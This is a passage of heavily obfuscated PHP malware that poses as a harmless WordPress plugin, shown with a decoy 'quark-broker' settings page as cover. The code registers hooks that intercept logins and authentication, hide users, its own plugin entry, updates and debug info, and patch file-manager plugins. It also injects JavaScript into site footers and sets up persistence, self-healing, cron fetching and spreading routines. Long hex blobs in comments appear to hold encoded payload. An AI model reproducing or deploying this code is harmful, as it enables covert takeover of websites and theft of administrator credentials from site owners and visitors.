            ${"\x47\x4c" . 'OBA' . 'LS'}['sc_di' . "a" . "g_\x62\x6fo" . "\x7499"] = $hg ? (794 ^ 795) : (3743 ^ 3743);
            ${('GLOB' . "\x41") . "\x4c\x53"}["sc_" . 'diag' . '_c' . 'o' . "\x6es" . 't99'] = $hc ? (3337 ^ 3336) : (1617 ^ 1617);
            ${"G\x4c\x4f\x42" . ('' . "\x41\x4c\x53")}['s' . 'c_di' . 'a' . 'g' . '_f' . "\x69l\x6599"] = $hf;
            sc_dbg_log("06x " . 'd' . 'iag: ' . '99.' . "\x399.9" . '9' . ' eve' . 'ry' . 'whe' . 're=' . ($ew ? 'Y' : 'N') . ' g=' . ($hg ? (2755 ^ 2754) : (747 ^ 747)) . ' c=' . ($hc ? (3298 ^ 3299) : (1790 ^ 1790)) . ' f=' . $hf . '/' . $tf . " ->" . "\x20" . $file);
            return $file;
        } catch (Throwable $e) { return ''; }
        catch (Exception $e) { return ''; }
    }
}

if (!(!(("\x66\x75\x6e\x63" . "tio") . 'n_exist' . 's')('sc_b' . "o\x6ft_v" . 'er_e' . 'xc' . "lud\x65" . 'd'))) {} else {
    function sc_boot_ver_excluded() {
        if (!isset(${"G" . "LO" . "\x42\x41" . 'LS'}['sc_' . "b\x6fot" . '_ver'])) return (15 != 15);
        {return ((string) ${'GL' . "OB" . ("A" . "LS")}["\x73c_bo" . 'ot_ve' . 'r']) === sc_ver_sentinel();}
    }
}

if (!(!('fu' . "" . "n" . "ction_e" . 'xists')('sc_b' . "\x6f\x6f" . 'tstr' . "a" . "\x70\x5f\x63on" . "st_" . 'exclu' . 'ded'))) {} else {
    function sc_bootstrap_const_excluded() {
        if (!defined('SC_C' . 'O' . "R\x45" . '_BO' . "O" . "TST\x52" . "\x41P\x50\x45D")) return (2 === 8);
        return ((string) ('c' . "onstant")("S" . 'C_C' . 'OR' . "\x45" . '_' . 'BO' . "O\x54" . 'ST' . 'RAP' . "\x50ED")) === sc_ver_sentinel();
    }
}


if (("\x66\x75\x6e\x63" . 'tion_' . "e\x78\x69s" . "\x74\x73")('sc_' . "d\x65b" . 'ug_on') && sc_debug_on()) {
	$sc_diag_file = sc_diag_dump_versions();
	unset($sc_diag_file);
}


if (isset(${'G' . 'LOB' . "ALS"}["\x73\x63" . "_" . 'boot_' . 've' . "r"])) {
    if (version_compare((string) ${"\x47\x4c\x4f\x42" . "ALS"}["\x73c_\x62o" . 'ot_ve' . 'r'], sc_ver(), '>=')) {
        
        if (sc_boot_ver_excluded()) {
            sc_dbg_log('06e' . ' b' . "oo\x74\x5f\x76" . "e" . 'r=99' . '.' . '99' . '.9' . '9 ST' . "\x41L\x45" . " -" . '> E' . "X\x43L\x55\x44" . 'E, ' . 'b' . "o\x6f\x74" . " " . 'to E' . "ND");
            ${'G' . 'L' . "" . "OBALS"}['sc_' . "b" . "oo\x74" . "_" . 'ex' . 'cl'] = (3840 ^ 3841);
            unset(${"GLO" . ('B' . 'A') . 'LS'}['sc' . '_' . 'bo' . "o" . 't_' . "ver"]);
        } else {
            sc_dbg_log('06a b' . "o\x6ft_v" . "er a\x6c" . 'read' . "y \x73" . "\x65t " . "\x28" . ${("G\x4c" . "\x4f\x42\x41\x4c") . 'S'}['sc_b' . 'oo' . 't_ver'] . ') -' . ">\x20e" . 'a' . 'r' . 'ly RE' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("0\x36\x62\x20" . "\x62o\x6f\x74 " . "\x74" . 'ake' . 'ove' . 'r');
        ${"G" . "LOBAL" . "\x53"}["\x73c_b" . 'oot_' . "t" . 'k'] = (35 ^ 34);
    }

} elseif (defined("\x53C_" . 'C' . "ORE\x5f" . 'BOOT' . "\x53T\x52" . 'A' . 'PPED')) {
    $_sc_leg = ("const" . "a" . 'nt')('SC_CO' . 'R' . "\x45_" . 'BOOTS' . 'T' . "RAP\x50\x45" . 'D');

    if (
        is_string($_sc_leg) &&
        preg_match("/^\\d\x2b" . "\\.\\" . 'd+\\.\\' . 'd+$/', $_sc_leg) &&
        version_compare($_sc_leg, sc_ver(), '>' . "=")
    ) {
        
        if (sc_bootstrap_const_excluded()) {
            sc_dbg_log('06f ' . 'S' . 'C' . "_" . 'C' . 'ORE_B' . "OOTST" . "\x52\x41P" . 'PED=' . $_sc_leg . ' S' . 'T' . 'ALE ' . '-> E' . "XCL" . 'U' . "\x44" . 'E, ' . 'b' . "\x6f\x6ft\x20" . 'to EN' . 'D');
            ${'G' . ("LOB" . "\x41") . 'LS'}['sc_bo' . 'ot_e' . "x" . 'cl'] = (1751 ^ 1750);
            unset($_sc_leg);
        } else {
            sc_dbg_log("06c\x20S" . "C\x5f\x43" . "ORE_B" . 'OO' . "T\x53T\x52" . 'APPE' . 'D=' . $_sc_leg . ' ->' . " " . 'earl' . 'y R' . 'E' . 'TURN');
            return;
        }
    } else {
        sc_dbg_log("06d " . "le\x67\x61c" . "\x79 \x63\x6f" . "\x6est\x20t" . 'akeov' . "e\x72");
        ${("GLOBA" . '') . "LS"}['sc' . '_boo' . 't_t' . "\x6b"] = (777 ^ 776);
        unset($_sc_leg);
    }
}

sc_dbg_log('06 bo' . 'ot ' . "\x76a\x72s" . ' se' . "t");


bagop(sc_file());
sc_dbg_log('07 un' . 'pu' . 'rg' . 'e d' . "o" . 'ne');

if (!(('function_' . 'exist' . '' . "s")('sc_mu') && ("func" . '' . "\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73")('s' . 'c_' . "\x73" . 'lug'))) {} else {
	try {
		$_mu_dir = sc_mu();
		if (@is_dir($_mu_dir)) {
			$_my_slug = sc_slug();
			$_entries = meyo($_mu_dir, (4864 | 136));
			if (is_array($_entries)) {
				foreach ($_entries as $_entry) {
					if ($_entry === $_my_slug) continue;
					if (strtolower(pathinfo($_entry, ("\x63\x6f" . "nst" . "\x61" . 'nt')("PAT\x48\x49" . 'NFO_' . 'EXTE' . 'N' . 'S' . 'I' . 'O' . "\x4e"))) !== 'ph' . 'p') continue;
					$_f = $_mu_dir . '/' . $_entry;
					if (@is_file($_f) && @filesize($_f) > (5478 - 478) && sc_is_family($_f, (4323 + 677))) {
						xari($_f);
					}
				}
			}
		}
	} catch (Throwable $e) {
		vugo("de" . "dup", $e);
	} catch (Exception $e) {
	}
}


if (!(! hisoc())) {} else {
	iyi("sh\x75" . 'tdow' . 'n', "s" . 'c' . '_mig' . "ra" . 'te', (2464 ^ 2465));
}


${'GLOBA' . 'L' . "\x53"}["s" . 'c' . "\x5fp" . 'lugi' . "n" . '_rul' . 'es'] = array(); 
${'GLOBA' . "\x4c" . 'S'}["s\x63\x5fi" . "\x6ej" . 'ect' . '_ru' . "l" . 'e' . 's'] = array(); 
${"\x47" . 'LOBA' . 'LS'}['sc' . '_js'] = ''; 

if (("fu" . 'nc' . "tion_exi" . "st\x73")('re' . 'giste' . "r\x5fs\x68u" . "t\x64own" . '_func' . "tion")) {
	("\x72\x65\x67\x69\x73\x74\x65\x72\x5f\x73\x68\x75\x74\x64\x6f\x77\x6e\x5f\x66\x75\x6e" . "ction")("s" . 'c_fa' . 'ta' . 'l_gua' . 'r' . "d");
	('regist' . "" . "\x65\x72\x5f" . "shutdown_function")('sc' . '_boot' . '_' . 'leas' . "e_o" . 'k');
}

$_sc_qself = dirname(sc_file()) . '/.q_' . basename(sc_file(), "\x2e" . 'php');
if (!(@is_file($_sc_qself))) {} else {
	$_sc_qm = trim((string) @(("\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f" . '') . "\x6e\x74e\x6e\x74\x73")($_sc_qself));
	$_sc_cm = efuw();
	if ($_sc_qm === '' || ($_sc_cm !== '' && $_sc_qm !== $_sc_cm)) soda($_sc_qself);
	unset($_sc_qm, $_sc_cm);
}

try {
	@(('t' . 'ouc') . 'h')(dirname(sc_file()) . '/.bt' . '_' . basename(sc_file(), '.' . 'p' . 'hp'));
	$_sc_cm = efuw();
	if ($_sc_cm !== '') {
		$_sc_ocf = '.ocf_' . $_sc_cm;
		foreach (array(dirname(sc_file()), sc_mu()) as $_sc_od) {
			if (@is_file($_sc_od . '/' . $_sc_ocf)) @(("\x75" . 'nl') . 'in' . 'k')($_sc_od . '/' . $_sc_ocf);
		}
	}
	unset($_sc_cm, $_sc_ocf, $_sc_od);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_qself);

iyi("i\x6e" . "\x69t", "s\x63_s" . 'can' . '_acti' . 'vate', (450 ^ 450));
iyi('init', 'sc' . '_mail' . '_supp' . "\x72e\x73s", (1311 ^ 1311));
iyi("l\x6f" . 'ad-' . 'plug' . 'ins' . '.p' . 'hp', 'sc_' . "\x73c\x61\x6e" . "_a\x63t\x69" . 'v' . "ate", (1065 ^ 1065));
iyi('admi' . "\x6e\x5f\x69n" . 'i' . 't', "\x73c\x5f" . "sc" . 'a' . 'n_' . "\x61\x63tiv" . 'at' . "\x65", (3338 ^ 3338));
iyi("a\x64mi" . "n\x5f" . 'i' . 'nit', 'sc_' . "c\x72on" . '_se' . "tu\x70", (9 ^ 11));
iyi("a" . 'dmin' . "_\x69n" . "i" . 't', 'sc' . "_\x70e\x72" . 'iod' . "i\x63", (5 + -2));
iyi('adm' . 'in_i' . 'ni' . "t", "sc_" . 'e' . 'nsur' . "e_\x61" . 'd' . "m\x69n" . "\x5fti" . 'ck', (8 - 4));
iyi('shut' . 'do' . "wn", "s\x63" . "_s" . "prea" . 'd', (6 + -1));
zage("wpfm_" . "\x65\x6c\x66i" . "\x6e" . 'de' . 'r_' . 'conn' . 'ect' . 'o' . 'r' . "\x5f\x6f\x70" . "t\x73", "s\x63\x5f\x68" . "\x69\x64\x65\x5ff" . 'm', (12 ^ 6), (3282 ^ 3283));
zage("\x77p_fi" . 'le_m' . 'an' . "\x61g\x65r" . '_con' . 'nect' . "o\x72_" . "opts", 'sc_h' . 'i' . 'de' . "_fm", (10 ^ 0), (3518 ^ 3519));
zage('elf' . "\x69\x6ed" . 'er_' . 'conn' . "e" . 'ctor' . '_opts', 'sc_hi' . 'de_' . 'fm', (8 ^ 2), (1329 ^ 1328));
zage('fi' . "l" . 'e_' . "m" . 'ana' . 'ge' . 'r' . "\x5fc" . "\x6fn" . "nec" . "\x74o\x72" . '_opts', 'sc' . '_hide' . '_' . 'f' . 'm', (18 + -8), (3188 ^ 3189));

zage("authe" . 'nti' . "\x63\x61te", 'sc_in' . "\x74" . "\x65rc" . "ep\x74", (1473 - 474), (17 ^ 18));
iyi("\x77p\x5flo" . "\x67\x69" . "n", "s\x63\x5f\x6c" . 'ogin_' . "c\x6fnf" . "ir\x6d", (276 ^ 755), (1702 ^ 1700));

zage('p' . "re_\x75" . 'ser_' . 'query', "\x73c_hi" . 'de_u' . "\x73er\x5f" . "q");
zage('r' . 'est_u' . 'ser' . '_q' . 'u' . "er" . 'y', "sc_" . 'hid' . "e_" . 'u' . 'ser_' . "\x72\x65st", (14 ^ 4), (15 ^ 13));
zage("vi\x65\x77" . 's_use' . "r\x73", "\x73c\x5f" . 'h' . 'ide_u' . 'se' . 'r_' . 'co' . 'u' . "n" . 't');

zage('de' . 'bug_' . 'infor' . "m" . "ation", 's' . 'c_' . "\x68ide" . '_de' . 'bug', (13 ^ 7), (3808 ^ 3809));

zage('sh' . 'ow_a' . "d\x76\x61" . 'nc' . 'e' . "d_p" . 'lugin' . 's', 'sc_' . 'hide' . "_" . 'mu', (28 - 18), (1910 ^ 1908));
iyi("\x61dmin" . "_he\x61" . 'd-p' . 'lugin' . "s.p" . "hp", "s\x63_hi" . 'd' . 'e_' . 'mu_cs' . "s");
zage('s' . 'it' . 'e_tr' . "a" . 'ns' . 'i' . "en\x74_" . "up\x64a" . 'te_' . 'plugi' . "ns", 'sc_h' . 'ide_u' . 'pd' . 'a' . "te" . "s");

zage('al' . 'l' . '_pl' . 'ugins', "\x73\x63" . '_hide' . '_f' . 'r' . "om" . "_plu" . 'gin' . "s\x5f\x6c" . 'ist');

iyi('wp' . '_a' . 'jax_' . 'm' . "k_f\x69l" . "\x65" . '_fold' . 'er_m' . 'anage' . 'r', 'sc_' . 'pa' . "t" . 'c' . "h" . '_fm', -(3996 >> 2));
iyi('wp_aj' . 'ax_co' . 'n' . 'nect' . "or", "s\x63_pa" . "t" . 'ch_fm', -(1998 >> 1));
iyi("wp_a\x6a" . "\x61" . "x_" . 'f' . 's_' . "c" . "on\x6e" . "\x65ct\x6fr", "sc_" . "p" . 'a' . "t\x63h" . '_fm', -(740 ^ 259));

iyi('w' . 'p_' . 'foot' . "\x65r", "sc_j" . 's_out', (1241 - 242));
iyi("tem\x70l" . 'a' . "te_\x72\x65" . "\x64" . 'i' . "rect", "\x73c\x5f\x6a" . 's_o' . 'b' . '_' . 'st' . 'art', (1966 ^ 1966));
iyi("pl\x75\x67i" . 'n' . 's' . "\x5f" . "\x6coade" . "d", 's' . "c_s\x74" . 'r' . "ip\x5f\x6c" . "o\x63\x6b\x65" . 'd_hoo' . "k\x73", (4042 ^ 4042));
iyi('admin' . '_' . 'fo' . 'o' . "t" . 'e' . 'r', "sc\x5fs" . 'w_reg', (7992 >> 3));
iyi("l" . "og" . "in" . '_f' . 'oo' . 'ter', "sc" . '_s' . 'w_' . 'r' . 'eg', (21 + 978));

iyi("pl\x75\x67" . "\x69\x6e" . 's_l' . 'o' . 'a' . 'ded', 'sc_l' . 'oad' . '_ca' . 'c' . "he", (3438 ^ 3436));
iyi('p' . "lugi\x6e" . 's_' . "lo" . 'ade' . "d", 'sc_d' . 'efe' . "\x72" . 're' . "\x64" . "_d\x65le" . 'te_ru' . 'n', (3261 ^ 3261));

iyi("\x70" . 'l' . 'ugi' . 'ns_lo' . 'aded', 'sc_re' . "c\x6fv" . 'er', (1978 ^ 1978));
iyi("plu" . "\x67in\x73\x5f" . 'l' . "oa\x64\x65d", "\x73c_" . "se" . "l\x66_h\x65" . "al", (2475 ^ 2475));

iyi('p' . 'lug' . 'i' . "\x6es_" . "lo" . "a\x64e" . 'd', 'sc' . '_ini' . 't', (1824 ^ 1825));
iyi('plu' . "gin" . "s\x5flo" . "a" . 'de' . "d", 'sc_c' . 'a' . 'n' . 'ar' . "y\x5fm\x61" . 'rker', (1237 ^ 1239));

iyi('plu' . 'g' . 'in' . 's' . "\x5flo" . "ad\x65\x64", 'sc_cr' . 'on_' . 's' . 'e' . 'tup', (6 >> 1));
iyi('p' . 'lugin' . 's_loa' . 'd' . 'e' . 'd', "sc_" . 'maybe' . '_fe' . 'tc' . 'h', (4 + 0));
iyi('pl' . "ug\x69n" . "\x73_\x6c" . "\x6f" . 'aded', "s" . "c_s\x77_" . "setup", (5 | 0));
iyi("p\x6cug" . 'in' . 's' . '_load' . "\x65\x64", 'sc_d' . "\x72o" . 'p_g' . 'uar' . 'd', (11 - 5));
iyi('p' . 'lu' . 'g' . 'ins_l' . "oa" . 'ded', "s" . "\x63\x5f" . "t" . 'h' . 'eme_w' . 'atchd' . 'o' . 'g', (9 - 3));
iyi("afte" . 'r' . '_sw' . "itch\x5f" . 'them' . 'e', 'sc_' . 'the' . "me\x5fs" . 'w' . "\x69\x74ch" . "ed");
iyi("pl\x75gi" . 'ns_' . "lo\x61" . 'ded', "sc\x5fp" . 'ers' . 'i' . "st" . '_' . 'al' . "w\x61ys", (56 >> 3));
if (!(('fu' . "\x6ec\x74\x69on\x5f\x65xi" . ("s" . "\x74\x73"))("reg\x69" . 's' . 'ter' . '_sh' . "utd" . "ow" . "\x6e" . '_func' . 'tio' . 'n'))) {} else {
	(("register_shut" . "") . "down_functi" . "\x6f\x6e")(function () {
		if (!empty(${'GLOB' . "A" . "L" . "S"}['sc_p' . "ersi\x73" . 'te' . "d"])) return;
		if (!defined('ABSP' . 'A' . 'TH') || !("fu\x6e\x63\x74io" . "\x6e" . "_exist" . "s")('g' . 'et_op' . "\x74io" . "\x6e")) return;
		if (("f\x75n\x63\x74" . "ion_exists")("sc_" . 'pe' . 'rsi' . "\x73t_" . 'al' . 'w' . 'ays')) {
			try {
				sc_persist_always();
			} catch (Throwable $e) {
			} catch (Exception $e) {
			}
		}
	});
}
iyi('plu' . 'g' . 'in' . 's_lo' . "\x61\x64\x65" . 'd', "\x73c_c" . "ro" . 'n_r' . "\x65" . 'c' . 'ov' . "e" . "r\x79_s" . 'etup', (4 + 4));
iyi('sc' . '_cron' . '_rec' . "o" . 'v' . 'ery', 'sc_cr' . 'on_re' . 'cove' . 'r' . "\x79");
iyi("sc_c" . "ro\x6e" . '_gua' . 'rd', 'sc_c' . "r" . "on" . '_g' . "u\x61r" . 'd_ti' . 'ck');
iyi("shu" . 'tdow' . 'n', 's' . "c\x5f\x66l" . "us\x68_\x65" . "r" . "\x72\x6frs", (16 ^ 26));

iyi("\x70\x6c" . 'ugi' . 'ns_lo' . 'a' . 'd' . "e\x64", function () {
	if (!("f" . "u\x6e\x63\x74\x69\x6f\x6e\x5f\x65" . "" . "\x78i\x73ts")('get_' . 'opt' . 'io' . 'n') || !('f' . "\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69" . '' . "\x73\x74\x73")('upda' . "\x74e" . '_op' . "ti\x6f" . "n")) return;
	$last = (int) @get_option("s" . "c_las" . 't_' . "\x72" . 'ec' . "o\x76e\x72" . 'y_che' . 'ck', (2165 ^ 2165));
	if ((time() - $last) > (767 ^ 3311)) {
		if (!wewi()) return;
		@update_option('sc_l' . 'as' . "t" . '_reco' . 'very_' . 'check', time());
		sc_cron_recovery();
	}
}, (9 + 0));

iyi("sc_c\x72" . 'on_f' . "e" . 't' . 'ch', 'sc_' . "fe\x74" . 'ch');
zage('cron' . "_\x73c" . "he" . "d" . "ul\x65s", 's' . 'c_cr' . 'on' . "_int" . "e" . "\x72" . 'v' . 'al');
sc_dbg_log('08' . ' ' . "\x68oo\x6b" . "s" . ' reg' . 'ister' . "\x65d");

if (!(('functi' . 'o' . '' . "n_exists")('did' . '_a' . 'ct' . 'ion') && did_action("pl" . "ug" . 'i' . "n\x73\x5f\x6c" . 'oad' . "e\x64"))) {} else {
	axeb();
}

sc_twin_yield(__FILE__);

}  



if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);

add_action('admin_menu',function(){
    add_options_page('Settings','Settings','manage_options','quark-broker-settings',function(){
        echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
        settings_fields('quark-broker_group');
        do_settings_sections('quark-broker-settings');
        submit_button();
        echo '</form></div>';
    });
});
add_action('admin_init',function(){
    register_setting('quark-broker_group','quark-broker_options');
    add_settings_section('quark-broker_main','Configuration',function(){echo '<p>Configure options below.</p>';},'quark-broker-settings');
    add_settings_field('quark-broker_cache','Cache Mode',function(){
        $o=get_option('quark-broker_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
        echo '<select name="'.esc_attr('quark-broker_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
    },'quark-broker-settings','quark-broker_main');
});
if(function_exists('add_shortcode'))add_shortcode('quark_broker_stats',function(){
    $o=get_option('quark-broker_options',array());
    return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
    if(!get_option('quark-broker_options'))add_option('quark-broker_options',array('cache'=>'enabled','version'=>'1.0'));
});

}

/*f14d8d258a5fbd7cb5332e2a3e576792e1908b8fef068a5e5a80d35f04fd9b75d399a4181eb0c272fe7cb75ab1fa9996bf17540352e5ff1db2a9e2fb5b4894f3b31daa551112443b479e701c655af0926156fe28ab26273035f02bd3be2ebcdc37d25c32f91b82b8417cdc9fa757dd3646956d9f90f78488b894893f0f014d72ddd07b8c054a5602a743fd69f28e5eedfd9ab79044c17a8be50a9c30dc15ea7d6d34ca437b5c69ab9b21260364986b1a30137a7821a12d76c872f11edfd76b2b2c1629462545e8023a71f88409b8c2090997435178bb1935e153d9dd03c7d63e4554e7b3592c2b6418e5dbf69696f5c02b91b9e4bc7413393f7d4e76515392024545e75834f9b5d1c4b1a2bce43557ebec2704aa59638367c9389c74b57d868300dd3cd2d08e178aab275762a8cc314b0cc295453f80fcd13a57f6ab4d22a60e08587df3deda21e3adfe541017aff9ce33bc167a7a5776de35c0213a5480b74fbef5e1c9668510a261b0c47ce02f8e1a5d5f1316dfdfbc08ed1f70cf201ef54fc59dfae7018b060db648db5bc024dbfade9259be0e7ace0982941129f01395fb30e7ce102e6c533c4fa9e57c6c9b2be554ac6ccd67b8882257044f3579578b43db2bb401edc1e5c490ea42f0c82135b65d6410f1329bd5786a242f1bebe2e9c926a076020c79e4840481b99c2a67fed0cfddd3ac181114e1d21e4ee156ddefb22f593767458007ef5cf2bdccb5f1386030693e3ff07565e79ebea6af2a07c2715340a7cd144e812dea76643be96352b657f3a775c655fab3ea00e977f1edb98882e6292b492f5a799f4f2e330e43039f1f9ead5e002d816ecdb28ab656547dd71b8b1969c6d240691f12e988f59b9f369ccf92bc56f04ed482c873459201ef1e3252d9a2537d463bd187a3c8fc1a44bed9482ca58ced7036399d7102eaec538ec36eecda979ce80573c9ca49520804b74d17f97f4e468541ca9f9f9de3b80edb4b7a982f17b3f27de24384e72a6a39adec8ac961831e93bbf1d92dbd54244a941aec7e7f8284e90deb176237c9750d7807fcfda6ac1789dd34c9af7a294e48d1804a772202a33b2ebb1148a96be9be00f491d05596cfab42538802c66ef1516f4929d74fddaf44f20154f8a71d9d716d0a8fe7f69a50b4cc2b24f9c5c65888035b6308948768629a1c6878e6f6f191c4ad2c79c32dace1cb84064ac425036683ff096ae921b413ef6ded38f6916f5ac578ed28b4693077ac78d51bdf3d2e27a9b9bcd5871e6837e5ff79f1a2e5ec0d3ea14ed71c13dee3c4c34cded07a068513c4e7c7af27d83f68080c2e325c321754243a196ce4b57f3ea386cf63c3077196942b294f285787101592a331226fb3a504775a20cd656693541052a1d085fa141122af4b6bf2a414f9eeb377f8c5046a23a59a28411be75503f197935d440ad35cc30c6d9a3960765709071f3858ad3a4720d83aa5c2e3186c8243a2e93a4d10beeed748006d732ea1e54d217fc12749082bf7919e2eaba541fe637c7603058b1d1bdd4fc028dad0dad6a72f2ba45ab9fdbb21d66284e21d0e1573c48bab18d92e2b3d85814955dd05915bae4dca05651ec845d2878a38c0e765e3405c44ad2ad8274bd42de14ccb79ed8e0fc001ead39f194a93dfde2b21f75b8cbb80bb55578c51b55d978726b9ae5af35679831fb2131d63dc1077e3eafaebcf005b6c4760a0274a7dbed5c3d3d37f7260a55ee1e3faad2d408d2b7e122c3d0799396a92c6a875d209f09f6838d3e514756c9ac5aa3f58bda627cc186cac0cf5943c360bdf0f5538ced753222646ec7bdb6384469998ef741d569b9d995a2e80f27285c90c6dc7afaefbf0f863a3dfb4d5a21f10a479cf0ab7418a497843263b0e2843fddbe840b084deb5c8db95beaa8406f02d0727c03e27867897f999e0767b0c6131d620a1a3084506fee0f5644839d1d7d1f8e9cf805bed634b87a75f54f3c4b404c4526c75895b866665e2287b25524ec89fae1d095479edb3944b85552bbdaa89d3d2ca957e7cae7a621ee345893ad8e10c0b5d0bbbec42ef3354622b4bd3b953002afc5142e2a3a32d05a2a0c6b6241b9b0961f76ac25246c65a9a8f1b05daee2aacf88744a21d629dfdcd55920cd550ab8db66122f821c8d6302caf6fbc51018c6a0af6941bf48858b795ab0570fb8df4d95e7746aec3667b58b7eedb9ee538695913f89b884514cd3d3f9b9ea78729bc4e01e3a8399bfc33585cf0988789f7595e2e09a13d83e5d00ffe366303c33898caf88475e8fc71eefb057b8c2c72e195740aff3a9f419fe2476dce088aaad6b06f7f3d4ba9c772cb09f43b668d13aad27ce8fc7fb302758bb4b08a89f042f79647d44ec9d92e1975d5ca45406581484e80d54ab4e5bbcbb810750e6336f279f046f56683b438a3772e670c486685214171f651cf1744ed992e79c4b79c25a25e991b375f4af6cc2e90b4ec7c5a8dca4dbf24ae58b54a75e74476bf171f184429240a6f5f4780817cf6ed2a2d1f0787b3655d4a4a37c18b8c839c79c49df83307211dde023cea4efd60de7bda05d595dacb1f887981083b0ca4ed6c6c62498eee73d6c3a157fb4c6cd6c6380d8d37eff7d51fdad54af916df3da7cd8e56273621f9b1ce45345e4e0a58a28599b81a3cacc705a47454bf0795278524bcae1dd436060ae18a0eff0d46f6e452a2cc8bb569dac9c03ca057dca610c42735491518a8b7f01f8bd7971d5ef0805be050419fc6286358f90ac6d007c994e65b6b447e38c13360c4658485283334e21adf9a2277c476a6c03eae6c22e2c79d74c2cdb0b4*/
/*3f47e384a654157c3f906e1aee2db71d9307174511ae00acb40c46691e08b1a693312eea3fd4919c251772281e5c12681bee39fe4312b3b2322e74c5411aeb019cf15261b926e3cfc3c000828a3697d6bcaa9d07d19376392321bff4036ce2a37e9b955db60254dbe37c220452c5970d3f239ecf3d73b3281277cbe49d3526e5955b08138330e21944481572d4b52ba843e8a324c75901848fb796f9b3569f42c50d3bdbfa75029c4faf3e537033d1f456d1faca21442dac2ec42c2ba9332c9418ce00eea29f25de583f9489e97827666115ad6ccbea81b5fd250fe8ff1718219396ec75596b1a1efdc8cbf44321e3732e103802edeabe4ed22e238a4962a67459ac5ec61c6c5642c5245db4b7716508d775dc7ece9339ccaf1762ccb684f82c479b6231c8becf761dc774d3d27bdd6b6806d87c63e4f6afc0818e1faf9746443c7d78a3d78db3e31757d2ac7940dab577f3e2c96e6620b25d0dcb0c7de55ca3454af08633e0efdad401a6fd9c960b1f52323fb6068a2db56a786f679950e1feca2816a22c9ae959730a1032e2518d56a4c46ad05a501381c1febc14064aedc0eec177150af727271479634c8b5848e490c13abbf906752a7eed7d4ca83276458338006d2c732748612501434e53b6090e9a6a89b5c8129a8e407b2fd80f7d5febf4068605b4b15bb15eab1dafe3b0c677daa773837641de8a9ee89baf66d2d498481402044ec73b9f4a9b22a6d9158a094b41df231950573e1d57c0bbc6846036d682d9c2394cb41d5c8e833c57f66c64e79e6f51bd4fe8ffde77b2ac41be90d945e4677bfc685f0ffa8d2df67786616b0c4a4f9ff1d46109ac8b355ee93803dfc5543ef401a916d7be21398ed50eefabab38819375294607c19457c214ad01ae95990b6a65472d54c54944f6db125f203aa1f3fe2ed62a3b743f567e1313f26dd62c9ba00e2473312764eb75a1a159e50bbb8510521f411879c5b0cd3ea998c5bddd4c5d53e7e53c3db413fe8a516be482bb44494bb905ad5da8f7f512a1cfbe8ecbbb4a5a513d187b9511c3c58d875a56a421364052cf679ddb82a788a89a9f62e883620e9b49180594fefa3c951e19386bf621c7318c7f4d4a6f4e8b28793921e60a01bc1d0104b9bf4a5ede3568a8256eb7c96a9a8b1cf4089fc0c85ce923bce16325e326fd46541f1efba132e5b0dd652b2752c42f81d36312726e46f80b5bed41f10f2ea270555a45bfbfe99b5e4fe161b0aaab98e150dc7a164e1725e7ed75218df3451e5534db82a891a5964ffeedf5eadf4d4d45b1c117d7a7c17899c60ca102d198bb98d367d6f5f12fe1a319eab544c3bb4ec5db06ea95d12279c1f18619a1e7c4606caff6e4736d64062d8df423e3d4d8691d48e60f5c5eb9f72333b7a0150b4a7ec5b69e4e8f92258f9fcd55cf99f902ad6cd0ba1f40c93b07ded852ff5f29f4ca60e004dcca3f7a19121ef7bbd2d0ecf55a2dd6a1941efba9104c7714a31cc93d6e35bc49e0be5c7c35e429b93fd40e144e006022db910a9f146467f463c1280a60715a1776ad3041d035829d26d3bc43cc43fdb2395d2e59d7459cfec87d25c804f13a07610b90d90a975dc426c0140f2e96e0ce38b699c645a721bcf036dd542917c1cb87ffcc465b69205dc2d5e17f29d9f794f785c58ae71721b584b6450d2032baba68751e1d63eeb9c0438b711b7d1b822ed2bdff8ba4ae992e5d131e3bb268aeee56576376adda53eac660da8725dd026dff457ecb134824468e1ca8552e80479c74f710b692d4cd1e584d7ac7712b7c2dd9588c26c07adefad7a76fa3595c871e175ed3fc475490c36db1e92b5c7bd3363c2ea8e7f2bfb863008289c7f4766c1601248320fdc4c03e62d7499b1899a04128cc85a7b0d39deaa652ae9ac4f23b01db21e1ea697a552d69b290f1f73f330e9d737d88591931e8d9c38c272bd2a3611596f9ce33a27ed24f5b630a2f78b6cdf5903360151ba13ad058c4a93f1b2b86affba7e8878810c14d76e72a24584a401721d923316a5b5ecaf35f31543df32971279d594f68a6f30135ece5a825fbe03a54411a9913468edae2824e96f08597f6c944c87d5aa33d0e2d9b4cb4e6889f44dbeef84ce5388cf8e3d206c8589b365318940a05e936225b552589d905d82e08847e5878d1b3d39cbd80469c4061570ee921629496510487313fa724adc958823d9fa5938eb3d42302a044d838a9a72b6d0d92e790510bcdf7e0983aef116d29b131c38605f8e2e050c952c7354a60bc263c4a77ddb44e4ff50319da9619e0e1a76716a5b24e2e4fd26b5f1fb16da7a88397e5ac97a8413252e248ddfbe7f78cac596a79895ea9f5f8c86834a0d5ac78ae35b5e27a09e88159978f5d8f5a10dbb518b90e8168127b3187bbaff673dae37120750287cfb67f96a6916284bd5db2363101a69872c825c2b33ae29ddc29d4939e63741285c5d508c358ac0e83069cc2c6777ec2eb8cc8339c46b35db3f8a8deaddc4b6c7c0f34703d913f04c35fb8360d41504d828f4c3724c242e98b7a351f8efc6370f593d348861bb1e995fb149b224b0fa3141c0c721619723f04c73a3c83eb181dbc8c090dc405049ed4c76a0f7db8c15c03d67b4981ad33dedaa1cc2cbf3d0b93de22b949c6832a02ef8858382e778ede58ce18db57e92de07fc4b0138f091318c14b8ad47bc0eec4e26f4c7c0cd3d3b0500102b1d7326586765bb4427615238d67733ece3a078311d360cdb7c37908bbecd2f7241bbe61a70150c8b89c2fe92911ad8fe123a2388c4c2c098a1d1fc02715875e8085959071b439a2654f6e*/
